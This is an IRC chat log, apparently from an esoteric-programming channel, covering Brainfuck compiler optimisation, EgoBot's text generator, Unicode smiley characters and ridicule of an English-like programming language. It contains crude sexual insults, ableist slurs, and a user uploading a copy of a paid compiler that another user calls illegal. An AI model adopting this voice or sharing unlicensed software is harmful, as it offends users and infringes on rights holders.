AnMaster: that's not mathematical! 22:32:05 ehird, but how do I decide if I want signed or unsigned 22:32:18 yeah 22:32:21 time to code ~\ 22:32:22 AnMaster: you mean Word8 22:32:30 that also 22:32:35 well, BF uses unsigned 8 bit cells 22:32:39 so that is what you need 22:32:43 see oerjan 22:32:47 righgt 22:32:49 right* 22:33:14 also, signed or unsigned is completely equivalent for wrapping BF 22:33:29 oerjan, Um what 22:33:42 oerjan: tru dat 22:33:52 AnMaster: BF cannot distinguish whether it is using signed or unsigned 22:33:56 yep 22:34:09 all it cares about is how many incs/decs until you return to 0 22:34:10 AnMaster: -128 to 127 22:34:10 hm 22:34:11 is the same as 22:34:13 err 22:34:14 0 to 255 22:34:16 it will break output 22:34:17 for BF 22:34:18 ooh, interesting: IRC is officially assigned TCP port 194 22:34:24 and/or input 22:34:24 even though everyone runs it on 6667 anyway 22:34:29 AnMaster: (char) 22:34:30 ais523, old news 22:34:34 AnMaster: that's just a matter of conversion to characters 22:34:35 yes, I know 22:34:39 as in, it isn't news at all 22:34:40 just a fact 22:34:44 but I only just discovered it 22:34:47 ais523: i doubt anyone else knew 22:34:54 i didn't, for instance 22:34:56 so it's news to me 22:35:01 well, I suppose so 22:35:04 * oerjan didn't either 22:35:12 ehird, I knew 22:35:16 it's not like now is a particularly appropriate moment to announce that IRC is on port 194 22:35:21 AnMaster: that's nice. 22:35:23 you're 1 person 22:35:27 which is why I'm not treating it as news 22:35:36 I know various ircd developers who know 22:36:02 I also know some ircd developers who _didn't_ know, which worries me more 22:36:10 why? 22:36:21 ehird, you should know the protocol you are working with 22:36:22 why is knowing that the useless tcp assignment for irc is 194 helpful to implementing the IRC protocol 22:36:23 pattar 22:36:26 apart from elitism? 22:36:28 AnMaster: it's not the protocol 22:36:35 the protocol is described in its entirety by a few RFCs 22:36:39 its port assignment is irrelevant 22:36:52 the only argument for "ircd developers must know it" is elitism 22:36:55 ehird, no it isn't. Nobody fully follows the RFCs 22:37:01 -!- BeholdMyGlory has quit (Remote closed the connection). 22:37:02 AnMaster: so? 22:37:04 wow 22:37:06 AnMaster: guess what 22:37:08 a lot of stuff aren't documented in the RFCs, but is used by everyone 22:37:10 AnMaster: NOBODY USES THAT PORT 22:37:18 ehird, actually, I seen it used 22:37:21 *snap! logical snare set by yourself* 22:37:26 AnMaster: and I'm sure there are pure-IRC servers too 22:37:36 ehird, ircnet. That is it. 22:37:38 but port 194 is irrelevant as implementing purely what the RFC says. 22:37:43 -!- MigoMipo has quit (Read error: 60 (Operation timed out)). 22:37:44 Q.E.D. 22:37:45 oerjan: explain please -> http://www.insults.net/html/swear/norwegian.html 22:37:45 and even them aren't 100% pure 22:38:40 nooga, there are translations... 22:39:14 but why "penisfuteral" :C 22:39:15 * oerjan didn't know about "fleskepanne" 22:39:45 -!- MigoMipo has joined. 22:40:11 what's the difference between: snurebass and snabel? 22:40:11 nooga: i'm not sure all of those are quite often used 22:40:30 the search is broken on that site 22:40:31 nooga: they're both just amusing words 22:41:40 the first really means "spinning top" (as in toy), the second means "trunk" (as in elephant) 22:42:32 the latter word is the same in Swedish. But I never heard it as a alias for that thing 22:42:44 as in snabel == Elephant trunk 22:43:19 dra meg hardt i rompehara / 22:43:19 knull meg hardt og fort - fuck me hard and fast 22:43:20 ↑ this is also the norweigan mating ritual 22:43:33 runknisse = wanking gnome 22:43:33 :D 22:43:47 "dra meg baklengs inn i fuglekassa" is afaik by a bird character from a norwegian puppet movie 22:43:51 mus = mouse (i.e. vagina) 22:43:51 mouse, vagina, what's the difference 22:44:13 rape = to burb 22:44:13 wat 22:44:15 ehird, the difference between a rat and a cat 22:44:16 :P 22:44:40 "dra meg hardt i rompehåra" actually means "pull my ass hairs hard" 22:44:50 [[Jeg spretta søstra di mens den tilbakestående 22:44:50 faren din sto bak og fumlet med ballene mine. 22:44:51 = I stretched your sisters ass 22:44:53 while your retarded dad stood 22:44:55 behind me and fumbled my balls]] 22:44:58 The Aristocrats! 22:45:19 hm 22:45:54 ehird: lol :DS 22:49:13 os("\nBrainfuck Edition v0.11\n\nTo read the back-story enter '!'.\nFor a list of commands enter '?'.\n"); 22:49:26 AnMaster: not exactly hard on generated code is it 22:49:35 ? 22:49:46 ehird, hm? 22:49:56 like lostkng 22:50:00 ehird, It constant folded quite a few strings in lostking, not all yet 22:50:07 since I can't handle all polynoms 22:50:13 ehird, and that one was lostking 22:50:19 ehird: Except that there's only so many ways for *most* people to do stuff in Brainfuck. ;) 22:50:26 pikhq: true 22:50:29 but lostkng is not realistic 22:50:57 ehird, doing partial loop unrolling halved the output size btw 22:51:00 AnMaster: Would you like the PEBBLE and PFUCK source to test with, as well? 22:51:24 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 22:51:26 from 789k to 420k 22:52:04 and I can't yet unroll if the constant is unknown, since I haven't yet coded a generic polynom node. This is for the simpler ones. 22:52:14 the more complex ones I'll work on tomorrow 22:52:36 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:55:18 anybody tried to do genetic programming in bf? ;o 22:55:37 uh 22:55:39 like 22:55:42 !bf_txtgen foo 22:55:45 49 ++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. [60] 22:56:13 -!- Judofyr has quit (Remote closed the connection). 22:57:42 what's the algo? 22:57:45 also I have plans to in the future read everything into a graph of some kind. And then prune unreferenced nodes. It seems like an interesting way to handle constant propagation 22:57:48 nooga, genetic 22:57:52 !info 22:57:53 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 22:58:00 the source for that one is in there somewhere 22:58:03 wow 22:58:10 has web browser thing 22:58:18 nooga, however it is coded in java, to generate the bf 22:58:20 not coded in bf 22:58:27 not sure if that is what you meant 22:58:34 uhm 22:59:42 but still, some optimizer should be applied and clean up things like >><<<< to << 23:00:25 nooga: oh that point is part of a fixed template 23:00:39 it always uses 4 cells in that loop 23:00:52 (+ the loop counter) 23:00:54 bud doing >><< is for nothing 23:01:00 but* 23:01:20 nooga: it will be used for any complicated text 23:01:35 it's just because foo is so short 23:02:04 !bf_txtgen Hello, World! 23:02:06 126 +++++++++[>++++++++>+++++++++++>+++++>+<<<<-]>.>++.+++++++..+++.>-.------------.<<+++++++++++++++.>.+++.------.--------.>+.>+. [350] 23:02:09 also, EgoBot doesn't run the genetic algorithm very long, so it's not optimal even for that 23:02:23 !bf_txtgen Hello, World! 23:02:25 126 +++++++++[>++++++++>+++++++++++>+++++>+<<<<-]>.>++.+++++++..+++.>-.------------.<<+++++++++++++++.>.+++.------.--------.>+.>+. [317] 23:02:28 huh 23:02:31 it usually does better 23:02:33 even here 23:02:34 102 23:02:37 !bf_txtgen Hello, World! 23:02:39 126 +++++++++[>++++++++>+++++++++++>+++++>+<<<<-]>.>++.+++++++..+++.>-.------------.<<+++++++++++++++.>.+++.------.--------.>+.>+. [706] 23:02:43 meh 23:02:58 it seems to be deterministic... 23:03:08 !bf_textgen i eat slugs or hedgehogs 23:03:15 heh 23:03:20 !bf_txtgen i eat slugs or hedgehogs 23:03:23 183 +++++++++++++++[>+++++++>++++++++>+++++++>++<<<<-]>>>.>++.<<<----.----.>----.>>.<<-.>+++.<++.<++++++.>--.>>.<+++.<-.>>.<<----------.---.-.<.>+.<+.>>.<++.>++++.>----------------------. [515] 23:03:23 =.= 23:03:25 i think it has that cached as a special case :D 23:03:38 or maybe it's because of length 23:03:40 oerjan, huh? 23:03:52 er no 23:03:55 haha :D 23:04:05 AnMaster: i didn't notice nooga misspelled the command 23:04:05 yea, i though that it's running so long 23:04:11 but then the typo 23:04:11 ah 23:04:29 the old EgoBot used to run it much slower 23:04:57 !bf_txtgen i eat slugs or hedgehogs 23:05:00 185 +++++++++++++++[>+++++++>++++++++>++>+++++++<<<<-]>.>>++.<<----.----.>----.>.<-.>>+++.<<++.<++++++.>--.>.>+++.+++.<.<-----------.---.-.+++.--.<+.+++++++.>++.>>+.<----------------------. [579] 23:05:11 ah not identical this time 23:05:16 !bf_txtgen Hello, World! 23:05:19 126 +++++++++[>++++++++>+++++++++++>+++++>+<<<<-]>.>++.+++++++..+++.>-.------------.<<+++++++++++++++.>.+++.------.--------.>+.>+. [560] 23:05:46 but always the same on that one 23:06:26 i think the number after is number of generations or something 23:06:35 Yes, it is. 23:07:25 so strangely it reached the same code for Hello, World! 4 times, but after different numbers of generations 23:07:48 perhaps that really is optimal for that method 23:08:08 !bf_txtgen iiiiiiii 23:08:11 47 ++++++++[>+++++++++++++>+>><<<<-]>+........>++. [513] 23:08:16 um 23:08:34 i think it includes the newline 23:08:42 new EgoBot tends to do that 23:09:41 yep it does 23:10:27 That particular 126-character version seems to be the one it ends up with a very high probability. 23:10:36 Though sometimes rather slowly. 23:10:36 maybe it should use annealing, or something? 23:10:38 126 +++++++++[>++++++++>+++++++++++>+++++>+<<<<-]>.>++.+++++++..+++.>-.------------.<<+++++++++++++++.>.+++.------.--------.>+.>+. [5700] 23:10:49 +++[>+<-----]>++........ 23:10:52 ;) 23:11:49 nooga, ? 23:11:58 "iiiiiiii" 23:12:51 um no 23:13:00 !bf +++[>+<-----]>++........ 23:13:01 iiiiiiii 23:13:07 huh 23:13:13 ;P 23:13:13 oh division 23:14:01 and who's awesome? 23:14:05 i'm awesome! 23:15:27 we need better string generator 23:15:57 nooga: are you messing around with wraparound there? 23:16:16 sure 23:16:25 is it forbidden? 23:16:28 (259+256)/5+2 == 105. 23:16:36 !bf ++[>-<+++++++]>+.----. 23:16:37 ok 23:17:28 aww my shrips have rotten 23:17:35 shrips? 23:17:57 shrimps 23:18:01 "shrip is an application for ripping and encoding DVDs into AVI, OGM, MKV, or MP4 files." 23:18:07 -.- 23:18:18 nooga: you rotten pirate you 23:18:19 !bf -.- 23:18:19 It might've been about ripped DVDs and bitrot. 23:18:19 23:18:35 ib_block_info.erl:335: The pattern 'false' can never match the type 'unknown' | {'false',pos_integer()} <-- I think dialyzer went insane. As far as I can see the type is wrong.... And isn't listed anywhere 23:18:36 now ÿ is the smiley 23:18:57 combining diaeresis v 23:19:13 v? 23:19:13 diarrhea 23:19:47 AnMaster: [combining diaeresis] [v] 23:19:53 mhm 23:20:05 ehird, all I saw was a plain v 23:20:14 AnMaster: that's all i typed 23:20:15 ffs 23:20:19 O_o 23:20:20 ah 23:20:24 i can't type a combining diaeresis 23:20:27 so i provided a recipe 23:20:27 thought you mean it was there on the line 23:20:29 just add keyboard 23:20:34 ehird: combining diaeresis v 23:20:43 combining as 23:20:49 ehird, hm I tried that here, didn't work 23:20:59 my such key only works for a few... 23:21:00 strange 23:21:11 AnMaster: its not combining 23:21:18 if you type ë it gives the one character 23:21:19 ÿ 23:21:20 ẅëẗÿüïö 23:21:23 for example 23:21:26 yes 23:21:29 those are single chars 23:21:32 ehird, oh 23:21:32 instead of [combiner][char] 23:21:37 ¨v 23:21:41 You put the Unicode combining characters after the to-be-combined thing, though. 23:21:42 v¨ 23:21:49 nooga, looks separate 23:21:49 how 23:21:57 nooga, that isn't a combiner 23:22:05 v̈ should work if you renderize it right. 23:22:24 how to type the thing 23:22:30 ÿ 23:22:32 fizzie: it does 23:22:34 so cute 23:22:38 v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈v̈ 23:22:45 v̈ v̈ v̈ v̈ 23:22:51 fizzie: is there a ) on side character? 23:23:01 ehird: ü 23:23:22 that's not a ) 23:23:27 that's a u 23:23:32 http://img.moronail.net/img/0/3/903.jpg 23:25:10 You mean ") rotated 90 degrees", not "combining ) that's on one side of the target"? 23:25:17 former 23:25:36 Something like in a͡a? 23:25:52 fizzie: that's a ( 23:26:06 Depends on which way you rotate it. But there's the other too. 23:26:17 fizzie: that, but lower, with a ¨ on top 23:26:49 Oh, right, you don't need a combining thing. Well, that's easier. 23:28:27 I'm not sure which block it would be in... there's a very low thing, but it's also a bit wide, I'm not sure where the diaeresis would render. ∼̈ 23:29:28 Oh, here it is. ⌣̈ 23:29:32 heh 23:29:41 fizzie: the umlaut gives a ridge to the ) which is up at the top 23:29:45 how do you type it? 23:30:26 "SeekFind.org is a unique “Christian-content-only” search engine. The major search engines such as Google, Yahoo, MSN, and Ask often produce quality results for searches related to Christian terms. However, mixed in with these search results will be results from pages attacking the Christian faith and/or presenting unbiblical views. For example, a search for “Jesus Christ” at Google will result in page 1 listings from the Mormon church, a genealo 23:30:28 gical service, and a secular history of views about Jesus. " 23:30:30 Well, there's a boring old bottom parenthesis, ⏝. But that's pretty low. 23:30:31 nooga: you don't 23:30:37 fizzie: no, that's perfect 23:30:39 ¨ + that plz 23:30:42 ... 23:30:45 it isn't in my font... 23:31:11 Hmm, I don't remember where I got the bottom parenthesis from. ⍨ 23:31:23 (That last one is "APL FUNCTIONAL SYMBOL TILDE DIAERESIS = smirk" 23:31:46 bah 23:31:49 ⏝̈ 23:31:52 HAHA 23:31:53 awesome 23:32:12 It's a bit sideways in my font, but... 23:32:22 fizzie: http://imgur.com/f0gbm.png 23:32:52 http://img.moronail.net/img/3/2/1232.jpg 23:32:57 Right, it's not very centered. Well, maybe it's a style issue. 23:33:13 fizzie: it looks nicer like that 23:33:15 more fun 23:33:17 -!- bsmntbombdood has quit (Remote closed the connection). 23:33:52 You can do the same with the "lower half circle" too, though not sure how that'd look like. ◡̈ 23:34:00 !bfjoust ais523_attackslow [>[-]-[+]+] 23:34:01 Score for ais523_attackslow: -1 (maximum 13) 23:34:25 fizzie: awesome 23:34:54 fizzie: http://imgur.com/4f04t.png 23:35:01 The small ⌣ is "U+2323 SMILE" from the "miscellaneous technical" set, one would think that's a very smileable character. 23:35:09 :D 23:35:41 ⌤ looks very unhappy. 23:35:55 :P 23:35:55 -!- coppro has joined. 23:35:58 awwwww 23:36:06 hi coppro 23:36:50 I wonder who's been thinking up those also-known-as aliases for the APL symbol set. ⍤ is known as "hoot", ⍥ as "holler". 23:36:54 hmm... EgoBot seems to be counting draws as losses, then halving the result 23:36:54 aw? 23:36:57 disappointed? 23:37:12 coppro: 23:35 fizzie: ⌤ looks very unhappy. 23:37:20 fizzie: brilliant 23:37:40 ehird: that character isn't in this font 23:37:49 ais523: your loss! 23:37:53 get a better font 23:37:54 heheheh 23:37:56 one with more smilies 23:38:03 -!- bsmntbombdood has joined. 23:38:14 It's actually not a smiley; it's the "up arrowhead between two horizontal bars", used to represent the enter key. 23:38:17 http://img.moronail.net/img/8/4/1184.jpg AnMaster: is that correct? 23:38:34 It's right next to the option key symbol ⌥, which isn't very facey. 23:38:45 nooga, correct for what 23:38:47 nooga: I'm sure AnMaster has no idea what you're talking about. 23:39:00 xD 23:39:01 fizzie: right, I had that on my old apple keyboard 23:39:04 more legible though 23:39:12 nooga, it isn't what you usually see. But I guess it happened at least once. 23:39:38 i've been to sweden and i can tell there are MANY of nice females there 23:39:41 one of them has an url on the back of the clothes it seems 23:39:46 but I can't read it 23:39:52 23:39 AnMaster: one of them has an url on the back of the clothes it seems ← this is so AnMaster 23:39:53 but if you could it might help trace it 23:39:54 so, so very AnMaster 23:40:02 ehird, huh 23:40:11 actually it's so AnMaster it wrapped around, stopped being AnMaster, but then went a whole lot further and became very very AnMaster again 23:40:12 http://img.moronail.net/img/7/5/1175.jpg 23:40:14 ehird, the one with the dark skin 23:40:20 try theese 23:40:23 nooga: i see you have discovered a new domain name. 23:40:27 unfortunately, nobody else cares. 23:40:34 nooga, that isn't legal 23:40:38 it is a lie 23:40:41 yea 23:40:46 i'm not that naive :P 23:40:58 AnMaster: Did you also know: the flying spaghetti monster doesn't really exist? 23:41:02 ehird: i don't care if anyone cares 23:41:07 ehird, sure it does! 23:41:09 Tune in for more facts, tomorrow. 23:41:09 ehird: why should I believe you? 23:41:12 Same bat time, same bat channel! 23:41:15 ehird, aren't you a follower? 23:41:20 if so, become one! 23:41:20 ais523: Because, as above, I am batman. 23:41:26 shame 23:41:33 AnMaster: you don't have enough slack. 23:41:34 ehird: of course it does, the orbital teapot told me so! 23:41:43 ehird, hm? 23:41:47 AnMaster: http://en.wikipedia.org/wiki/Church_of_the_SubGenius 23:41:55 -!- ais523 has quit (Remote closed the connection). 23:44:40 ehird, hm question... 23:45:00 would using a DAC for representing a stretch of BF code and the dependencies in it be sane? 23:45:05 DAC? 23:45:15 err 23:45:17 DAG 23:45:18 typoed 23:45:22 oh graph thing? 23:45:24 yes 23:45:27 graphs are always right, just ask oklopol 23:45:38 ehird, well the question is: What sort of grap 23:45:40 graph* 23:45:54 the most pure and eso one you can find 23:46:05 okay 23:46:19 now i'm SubGenius follower 23:46:26 oh god 23:46:39 ehird: oklopol is gravely mistaken. nearly half of all graphs are in fact, left. 23:46:39 someone introduce nooga to a less high-brow joke religion to save them 23:46:44 oerjan: o 23:46:48 ehird, nah, I want something practical, useful and easy to work with 23:47:00 AnMaster: then gtfo #esoteric and go to #BORING or something 23:47:27 ehird, if it means I can compile LostKing into a readable C program? ;P 23:47:34 (no probably not that far) 23:48:01 what's the LostKink? 23:48:05 lostkink 23:48:13 nooga, you fail at reading 23:48:19 i think there must some typo energy here today 23:48:21 AnMaster: i think, 23:48:23 that he is trying to be funny 23:48:29 that is my in-depth analysis 23:48:29 ehird, he isn't 23:48:29 no 23:48:31 AnMaster: correct 23:48:34 i'm just retarded 23:48:37 continue 23:48:38 nooga: also correct 23:48:42 we're on a roll of correctness toda 23:48:43 y 23:49:11 oerjan, best graph to represent BF instructions with dependencies and so on 23:49:16 oerjan, got any bright idea 23:49:26 IO needs to be ordered in this properly somehow 23:49:41 not sure how to handle loops 23:49:52 especially unbalanced ones 23:50:02 AnMaster: erm you put every instruction as a vertex, and put an edge between if they cannot be swapped 23:50:14 oerjan, what about loops 23:50:21 not sure 23:50:33 yay, gg servers started 23:50:51 oerjan, for unbalanced ones I think the best you can do is to start building a new such network after the loop 23:51:05 for balanced ones you SHOULD be able to do something better 23:51:05 might have to treat loops as substructures which are graphs themselves, as well as vertices in the large one 23:51:08 not sure what 23:51:17 oerjan, hm interesting 23:52:45 for balanced ones you should at least be able to detect which cells they can touch, and swap the whole loop with things that don't touch that 23:52:50 (assuming no IO 23:52:51 ) 23:53:09 oerjan, I can do that already by tracking a dict of how cells are touched for each loop 23:53:21 that is how I can figure out if a loop can turn into if and such 23:54:03 -!- bsmntbombdood has quit (Remote closed the connection). 23:54:22 AnMaster: also, that topological sort page mentioned scheduling as an application, so i am sure there is already research on how to apply this to programming languages 23:54:28 which i don't know 23:54:38 oerjan, yes it is what got me thinking... 23:54:51 (about this) 23:57:04 nooga: so i take it gg wasn't a victim of the economic crisis yet? 23:57:18 probably ;p 23:59:26 how come that you know what gg is 23:59:40 it's polish only invention ;p 2009-05-22: 00:00:23 um because you mentioned it earlier today? 00:00:31 oh 00:00:42 but ehird expanded it to Gadu-Gadu 00:01:04 maybe he googles fast... :p 00:01:08 nope 00:01:10 i knew about it 00:01:20 yeras of internet has given me a lot of useless knowledge 00:01:22 ehird is a secret pole 00:01:23 *years 00:01:38 oerjan: yes I am the pole of the http://goatonapole.com/ 00:01:54 i am not sure if i want to click that link 00:02:08 do not worry it is safe for work unless your work is anti-goat-on-a-pole 00:02:34 ummmmmm 00:02:46 int main(void) { 00:02:46 os("Hello World!"); 00:02:46 return 0; 00:02:46 } 00:02:50 i'd better go back to my work 00:02:59 of course, I still have useless array and such 00:03:04 and input function 00:03:11 needs to be handled at code generator level 00:04:40 * oerjan clicks after googling 00:09:30 -!- bsmntbombdood has joined. 00:12:38 oerjan, safe? 00:12:49 AnMaster: it's just a goat on a fucking pole 00:12:53 what's wrong with that? 00:13:00 goat, fucking pol 00:13:00 e 00:13:02 what's the issue? 00:13:03 ok... it is just odd 00:13:08 yes, yes 00:13:19 oerjan: do you have a problem with goats/fuckingpoles? 00:13:26 not any more 00:13:38 i am one with the goats on the fucking poles 00:13:56 hm 00:13:56 aummm 00:13:58 is it a joke 00:13:59 auuuuummmmmmmmm 00:14:01 AnMaster: no 00:14:04 WHAT 00:14:05 we are very, very serious about it 00:14:16 we might even be very, very, very, very serious about it 00:14:40 so it's not just goatonapologetics? 00:14:48 totally 00:15:10 http://en.wikipedia.org/wiki/User:Jesuschex/Goat_on_a_pole <-- citations needed and so on, but still interesting 00:15:17 "established December 12th, 2005 on the Simon's Rock College of Bard campus" 00:15:28 whare's my unrar 00:15:31 i hate this mac 00:15:34 AnMaster: please stop thinking and accept the reality of the goat on a pole 00:15:36 aummm 00:15:36 HATE HATE HATE HATE 00:15:48 ehird, naumm 00:15:48 nooga: port install unrar 00:15:50 nooga: you trying to channel James Joyce? 00:16:01 AnMaster: AUMMMMMMMMMMMMMMMMMMMMMMMM 00:16:02 oerjan, :D 00:16:08 rotfl 00:16:26 ehird, you know that it is often typoed as OMMMM? So NAUMMMMM must be NOM NOM 00:16:27 oerjan: absolutely not 00:16:45 he's just riverrun, past Eve and Adam's, from swerve of shore to bend of bay, brings us by a commodius vicus of recirculation back to Howth Castle and Environs. 00:17:10 three quarks for muster ehird! 00:17:48 :) 00:22:07 Does English count as an esoteric language? 00:22:22 coppro: english is basically like php. 00:22:34 no $it isn't! 00:23:01 ehird: everybody can code in it more or less and natives produce most ugly code? 00:23:16 coppro : https://www.osmosian.com/ 00:23:36 nooga: something like that 00:23:40 Slereah_: hehheehehe 00:23:54 God that language is terrible 00:24:03 I hate them so much 00:24:26 why is there just a broken image on there 00:24:28 oh wait 00:24:35 it uses image and javascript 00:24:37 oh god 00:24:51 that is horrible 00:24:55 AnMaster: ssh 00:24:57 it gets worse 00:25:01 AnMaster: also you can download it without paying 00:25:02 kekeke 00:25:05 because their code sucks 00:25:09 and does it all clientside 00:25:20 AnMaster: just read it and suck in the awful 00:25:22 yes, they are serious 00:25:23 I think this is my favorite part : https://www.osmosian.com/page04.png 00:25:31 Slereah_: yep 00:25:47 Slereah_: i like how they think chomsky has ANYTHING to do with a programming language 00:26:04 Well, he did grammar types, no? 00:26:08 ehird, serious? 00:26:09 huh 00:26:12 AnMaster: yep 00:26:14 Slereah_: yes :P 00:26:16 I thought at first it was a joke 00:26:20 Slereah_: from their example program source: 00:26:21 Extract the background given the screen's box. \*dahd or Create the background from the screen. Or something. 00:26:23 if it was a joke it wouldn't have been too bad 00:26:27 i like the comment 00:26:33 To draw a string in a box in the center: \ *dahd needed in sausage 00:26:35 Needed in sausage? 00:26:36 What? 00:26:52 They like to pretend that their language is entierly English 00:27:00 But when you read the self-compiler, it's shit 00:27:05 Machine code implied everywhere 00:27:28 eh 00:27:29 what 00:27:34 Slereah_: yep 00:27:44 See, they have this beef with "abstract" languages 00:27:49 Like C and shit 00:28:11 C is fun 00:28:43 Slereah_: where's the hidden download link? 00:28:44 I forget 00:30:30 http://en.wikipedia.org/wiki/Category:Compiler_optimizations <-- useful reading 00:30:30 Can't find it, maybe they removed it to sell it bettar? 00:30:42 it wasn't on the actual site 00:31:14 I still got it worst case 00:31:30 Slereah_: http://compilers.iecc.com/comparch/article/06-02-126 00:31:37 the guy advertises his own thing like he's just a user 00:31:41 but slips up by using the same name 00:31:41 lolll 00:32:08 my sadol compiler does some partial evaluation to boost the speed when various types are used 00:32:11 Clever, Dan Rzeppa 00:32:31 my grandma's surname is Rzeppa 00:32:33 ;D 00:33:25 "Since this is the 21st century, shouldn't we be able to talk to our computers in our own language?" 00:33:26 Derp derp 00:33:30 Like in Star Trek IV 00:33:40 heh 00:33:42 Hello computer! 00:33:45 lol 00:33:53 that would be so impractical 00:34:00 hm 00:34:03 why 00:34:06 -!- Dewio has joined. 00:34:13 well 00:34:27 AnMaster: because english is more verbose and less precise than formal languages. 00:34:52 ehird, of course it wouldn't be useful for everything, but it could be for some things, With a strong AI. 00:34:56 only if the level would be reasonably high, like: do my math homework, here's the data. 00:34:57 no 00:35:01 well, yes 00:35:05 but it'd have to be a really fucking strong ai 00:35:19 I guess it could be useful as a teaching tool 00:35:30 But the osmosian people have way too high expectations 00:35:43 They want it to replace regular languages 00:35:48 ehird, tea -c 1 -type 'Earl grey' -t 4 minutes 00:36:19 Lojban would be better for communicating with a computer, really. 00:36:28 It's parsable! 00:36:42 AnMaster: that's nothing like "Let a be x times two divided by 3. Create a new window with title "Hello" and the contents "The result is " followed by a's value, with the single button "OK", which closes the window and goes on to the next step." 00:36:44 vs 00:36:57 vs, *spoken* "Make me a cup of Earl grey, 4 minutes" 00:37:02 AnMaster: you forgot the -temp hot 00:37:05 in Sweden we call that "dra" 00:37:13 let a=x*2/3 in newWindow $ window{ title="Hello", contents="The result is " ++ show a, buttons=[button{ text="OK", action=(closeWindow >> nextStp) }] } 00:37:16 *nextStep 00:37:16 oerjan, -T hot 00:37:16 or is that -c 1 ? 00:37:19 I know which I'd rather type 00:37:20 ... Someone is actually making an "English" programming language? 00:37:20 the latter 00:37:21 * pikhq vomits 00:37:23 parzyc 00:37:24 oerjan, -c 1 is "one cup" 00:37:26 duh 00:37:26 * pikhq vomits again 00:37:27 parzyć 00:37:29 pikhq: that's what we're talking about 00:37:35 infuse 00:37:37 pikhq: https://www.osmosian.com/page04.png 00:37:38 ? 00:37:42 click and scream 00:37:53 * pikhq proceeds to vomit 00:38:03 AnMaster: 00:38:06 00:36 ehird: AnMaster: that's nothing like "Let a be x times two divided by 3. Create a new window with title "Hello" and the contents "The result is " followed by a's value, with the single button "OK", which closes the window and goes on to the next step." 00:38:08 ehird, sure it wouldn't be good for everything 00:38:08 00:37 ehird: let a=x*2/3 in newWindow $ window{ title="Hello", contents="The result is " ++ show a, buttons=[button{ text="OK", action=(closeWindow >> nextStp) }] } 00:38:11 which would you rather type 00:38:14 ... "What our customers could be saying"? 00:38:16 the osmosian guys? 00:38:17 but it might be useful for a few things 00:38:18 Say the LATTER. 00:38:22 ehird, see example I gave 00:38:25 As a command interface, AnMaster, sure. 00:38:28 But that is NOT WHAT THEY ARE SAYING. 00:38:56 * pikhq screams the screams previously reserved for denizens of hell 00:39:07 00:37 ehird: let a=x*2/3 in newWindow $ window{ title="Hello", contents="The result is " ++ show a, buttons=[button{ text="OK", action=(closeWindow >> nextStp) }] } <-- what language 00:39:14 AnMaster: haskell 00:39:14 looks TCLish? 00:39:16 ah 00:39:30 ehird, what windowing API does it use 00:39:40 AnMaster: ehirdomatic inventomatron invention #34785893457 00:39:40 AnMaster: Looks nothing like Tcl. 00:39:48 pikhq: it has []s and {}s!112111 00:39:57 ehird, oh, thought it was real syntax 00:39:59 i eat moldy cheese, drink old wine and drive a car without it's roof... the global crisis got me 00:40:06 AnMaster: it is, just nonexistent definitions 00:40:12 AnMaster: Imagine Lisp with {} and [] instead of (). That's just about Tcl. 00:40:14 ehird, like the tk or wxwidgets APIs for erlang 00:40:15 nooga: or perhaps your bad decisions got you :) 00:40:17 (syntax-wise) 00:40:20 pikhq, heh 00:41:21 ehird: don't you understand? ;p 00:41:23 ehird: That exampe. 00:41:33 nooga: i wasn't really paying attention 00:41:35 pikhq: wut 00:42:12 nooga: :D 00:42:43 i'm not so sure about the car without it's roof though, not in this climate 00:42:57 Tk has an awesome API 00:43:03 but then, global warming might take care of that. 00:43:06 good moldy cheese (you know, like brie of whatever) and old wine are not cheap... and also this convertible 00:43:11 [[The "Cal Monet" draws like a person draws. It "remembers" or "sees" an 00:43:11 image, then renders an original "dab, dab, dab" work of art based on 00:43:12 the image. How does it "remember" and "see"? By looking in it's memory, 00:43:12 looks shit though 00:43:14 which, in this case, is stored on various computers around the world.]] 00:43:16 Slereah_: ↑ a post by help@osmosian.com in comp.compilers 00:43:21 oerjan: why, it's hot here ;p 00:43:22 nooga: oh right. 00:43:26 if i'd paid attention... 00:43:28 * Slereah_ searches his computer for the compiler and manual 00:43:30 [set a [expr $x*2/3]];window .h -title Hello;pack [label .h -text "The result is $a"];pack [button .h -text "OK" -action {.h close}] 00:43:50 That ought to be the Tcl equivalent if I'm up on my Tk foo. 00:44:11 Hmm. That syntax, though. 00:44:26 I'm pretty sure that they borrowed ORK's syntax. 00:44:28 % set x 2 00:44:28 2 00:44:28 % [set a [expr $x*2/3]];window .h -title Hello;pack [label .h -text "The result is $a"];pack [button .h -text "OK" -action {.h close}] 00:44:28 invalid command name "1" 00:44:44 kay 00:44:57 never tried tcl, syntax was repulsive for me several years ago 00:44:59 Remove the brackets around that set command. 00:45:14 % window .h -title Hello;pack [label .h -text "The result is $a"];pack [button .h -text "OK" -action {.h close}] 00:45:14 invalid command name "window" 00:45:18 Thinko, that. 00:45:23 Okay, so I don't touch Tk. 00:45:31 Shaddup. 00:45:35 -!- Dewi has quit (Network is unreachable). 00:45:56 pikhq, maybe you need to import something first or so 00:46:00 I have no idea 00:47:17 pikhq, how do you get line editing and tab completion in tclsh 00:47:31 I hate REPLs without that 00:48:03 should also highlight matching [] and such as you type it 00:48:56 pikhq, ping 00:49:07 AnMaster: can't. 00:49:11 it's not a repl it's a shell 00:49:22 ehird, shells have it too 00:49:27 line editing and such 00:49:31 and tab completion 00:49:41 almost all shells I can think of do 00:49:42 Ahah! 00:49:43 Found it 00:49:45 cal-3037 00:49:50 Slereah_, ? 00:49:52 The Osmosian compiler and manual 00:50:12 Slereah_: is that the year their language will actually work? 00:50:29 I like how everything is written in a font that looks like a retarded comic sans MS 00:50:36 Slereah_, where is "cal-3037" 00:50:42 I'll upload it 00:50:42 AnMaster: C: 00:50:50 note: his copy is illegal 00:50:52 since he didn't pay :P 00:50:55 hah 00:50:58 (used to be viewable by everyone) 00:51:00 (due to their idiocy) 00:51:06 but I think you can excuse him not paying $100 00:51:10 yeah 00:52:01 Slereah_: my windowsotron is running 00:52:34 FULL POWER 00:52:37 Slereah_: i eagerly await your blasphemy 00:52:38 (70% uploaded) 00:52:45 